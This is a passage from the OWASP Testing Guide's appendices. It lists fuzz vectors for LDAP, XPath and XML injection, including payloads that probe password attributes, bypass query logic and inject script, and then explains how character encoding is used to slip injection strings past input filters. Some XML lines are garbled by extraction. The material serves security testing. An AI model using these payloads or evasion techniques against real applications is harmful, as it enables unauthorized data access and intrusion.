4.0

221
LDAP Injection
For details on LDAP Injection: Testing for LDAP Injection
|
!
(
)
%28
%29
&
%26
%21
%7C
*|
%2A%7C
*(|(mail=*))
%2A%28%7C%28mail%3D%2A%29%29
*(|(objectclass=*))
%2A%28%7C%28objectclass%3D%2A%29%29
*()|%26’
admin*
admin*)((|userPassword=*)
*)(uid=*))(|(uid=*
XPATH Injection
For details on XPATH Injection: Testing for XPath Injection
‘+or+’1’=’1
‘+or+’’=’
x’+or+1=1+or+’x’=’y
/
/
/ *
*/*
@*
count(/child::node())
x’+or+name()=’username’+or+’x’=’y
XML Injection
Details on XML Injection here: Testing for XML Injection
var n=0;while(true){n++;}]]>
SCRIPT]]>alert(‘gotcha’);/
SCRIPT]]>
]>&xee;
]>&xee;
]>&xee;
]>&xee;
OWASP Testing Guide Appendix D:
Encoded Injection
Background
Character encoding is the process of mapping characters, numbers
and other symbols to a standard format. Typically, this is done to create
a message ready for transmission between sender and receiver.
It is, in simple terms, the conversion of characters (belonging to
different languages like English, Chinese, Greek or any other known
language) into bytes. An example of a widely used character encoding
scheme is the American Standard Code for Information Interchange
(ASCII) that initially used 7-bit codes. More recent examples of encoding
schemes would be the Unicode UTF-8 and UTF-16 computing
industry standards.
In the space of application security and due to the plethora of encoding
schemes available, character encoding has a popular misuse.
It is being used for encoding malicious injection strings in a way that
obfuscates them. This can lead to the bypass of input validation filters,
or take advantage of particular ways in which browsers render
encoded text.
Input Encoding – Filter Evasion
Web applications usually employ different types of input filtering
mechanisms to limit the input that can be submitted by the user. If
these input filters are not implemented sufficiently well, it is possible
to slip a character or two through these filters. For instance, a
/ can be represented as 2F (hex) in ASCII, while the same character
(/) is encoded as C0 AF in Unicode (2 byte sequence). Therefore, it is
important for the input filtering control to be aware of the encoding
scheme used. If the filter is found to be detecting only UTF-8 encoded
injections, a different encoding scheme may be employed to bypass
this filter.
Output Encoding – Server & Browser Consensus
Web browsers need to be aware of the encoding scheme used to coherently
display a web page. Ideally, this information should be provided
to the browser in the HTTP header (“Content-Type”) field, as
Content-Type: text/html; charset=UTF-8
shown below:
or through HTML META tag (“META HTTP-EQUIV”), as shown below:
It is through these character encoding declarations that the browser
understands which set of characters to use when converting bytes to
characters. Note that the content type mentioned in the HTTP header
has precedence over the META tag declaration.
CERT describes it here as follows:
Many web pages leave the character encoding (“charset” parameter
in HTTP) undefined. In earlier versions of HTML and HTTP, the character
encoding was supposed to default to ISO-8859-1 if it wasn’t
defined. In fact, many browsers had a different default, so it was not
possible to rely on the default being ISO-8859-1. HTML version 4 legitimizes
this - if the character encoding isn’t specified, any character